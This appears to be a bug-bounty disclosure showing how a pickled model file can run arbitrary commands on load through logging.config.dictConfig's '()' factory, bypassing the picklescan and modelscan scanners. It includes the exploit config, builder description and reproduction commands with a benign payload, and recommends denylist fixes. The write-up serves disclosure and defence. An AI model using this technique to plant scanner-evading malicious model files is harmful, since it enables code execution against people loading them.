logging.config.dictConfig → Arbitrary Code ExecutionThe payload here is benign: on load it only writesidoutput to/tmp/huntr_poc_logging_config_dictconfig. No data is read, deleted, or exfiltrated. Replace the command in a real attack and it runs as the loading user.
logging.config.dictConfig(config) supports a user-defined object factory via
the '()' key in any sub-config (formatters / handlers / filters). When present,
logging.config resolves the named callable and calls it with the remaining
dict keys as keyword arguments. Pointing '()' at subprocess.call and passing
args=[...] therefore executes an arbitrary command:1CONFIG = {
2 "version": 1,
3 "formatters": {
4 "pwn": {"()": "subprocess.call", "args": ["sh", "-c", "<command>"]}
5 },
6}logging.config.dictConfig itself.| Scanner | Result | Reason |
|---|---|---|
| picklescan 1.0.4 | infected_files=0, classified Suspicious (not Dangerous) | logging.config is not in _unsafe_globals (only logging.FileHandler is). Unknown globals are marked Suspicious, which does not increment issues_count → the file is reported as not infected. |
| modelscan 0.8.8 | "No issues found! 🎉" | logging.config.dictConfig is not on modelscan's operator denylist. |
subprocess never appears as a GLOBAL — it is a string inside the config dict,
invisible to opcode-level scanners.model.pkl — raw pickle PoC (pickle.load triggers RCE).model.pt — PyTorch model PoC (torch.load(..., weights_only=False) triggers RCE).build_poc.py — reproducible builder (building does not execute the payload;
__reduce__ only returns (callable, args)).1pip install picklescan modelscan torch
2
3# 1) Scanners report the model as clean:
4python -c "from picklescan.scanner import scan_file_path as s; r=s('model.pkl'); print('picklescan infected_files=', r.infected_files)" # -> 0
5modelscan -p model.pkl # -> No issues found! 🎉
6modelscan -p model.pt # -> No issues found! 🎉
7
8# 2) Loading the "clean" model executes code:
9python -c "import pickle; pickle.load(open('model.pkl','rb'))"
10python -c "import torch; torch.load('model.pt', weights_only=False)"
11cat /tmp/huntr_poc_logging_config_dictconfig
12# huntr MFV PoC (hacnho): RCE via logging.config.dictConfig
13# uid=...(...) gid=...pickle.load, joblib.load,
torch.load(weights_only=False)) is exploitable → RCE as the loading user.logging.config (at least dictConfig / fileConfig) to picklescan's
_unsafe_globals and modelscan's denylist — both reach arbitrary callables via the
'()' factory mechanism.